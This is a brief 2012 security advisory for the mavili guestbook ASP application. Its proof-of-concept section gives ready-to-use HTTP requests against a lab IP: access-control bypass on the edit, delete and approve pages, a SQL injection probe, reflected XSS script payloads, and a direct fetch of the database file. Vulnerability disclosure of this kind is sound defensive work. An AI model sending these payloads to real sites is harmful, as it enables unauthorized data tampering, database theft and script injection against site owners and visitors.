mavili guestbook - SQL Injection and XSS Vulnerabilities

[demonalex@xxxxxxx]

Title: mavili guestbook - SQL Injection and XSS Vulnerabilities

Software : mavili guestbook

Software Version : 200711

Vendor: http://code.google.com/p/maviliguestbook/ 

Vulnerability Published : 2012-01-03

Vulnerability Update Time :

Status : 

Impact : High

Bug Description :
mavili guestbook(version update : 200711) is vulnerable with Security Access 
Control Bypass, SQL Injection, XSS, etc.

Proof Of Concept :
1)Security Access Control Bypass:
User can edit, approve and delete messages without admin permission, POC below 
(Remarks: id=91 exists was necessary) :
1.1)GET http://192.168.10.211/edit.asp?id=91
1.2)GET http://192.168.10.211/delete.asp?id=91
1.3)GET http://192.168.10.211/approve.asp?id=91&show=true

2)SQL Injection:
2.1)id in /edit.asp, PoC below (Remarks: id=91 exists was necessary) :
GET http://192.168.10.211/edit.asp?id=92 and 0<(select count(*) from [admin])

3)XSS:
3.1)id in /approve.asp, PoC:
GET 
http://192.168.10.211/approve.asp?id=<SCRipt>alert('demonalex')</scrIPT>&show=true
3.2)id in /delete.asp, PoC:
GET http://192.168.10.211/delete.asp?id=<SCRipt>alert('demonalex')</scrIPT>
3.3)id in /edit.asp, PoC:
GET http://192.168.10.211/edit.asp?id=<SCRipt>alert('demonalex')</scrIPT>
3.4)id in /edit2.asp, PoC:
POST http://192.168.10.211/edit2.asp
------------------------------------
id=<SCRipt>alert('demonalex')</scrIPT>&name=aaa&country=1&email=aaa@xxxxxxx&website=http://&submit=Send&message=aaa

4)Default Database Path:
4.1)GET http://192.168.10.211/guestbook.mdb

Credits : This vulnerability was discovered by demonalex(at)163(dot)com
mail: demonalex(at)163(dot)com / ChaoYi.Huang@xxxxxxxxxxxxxxxx
Pentester/Researcher
Dark2S Security Team/PolyU.HK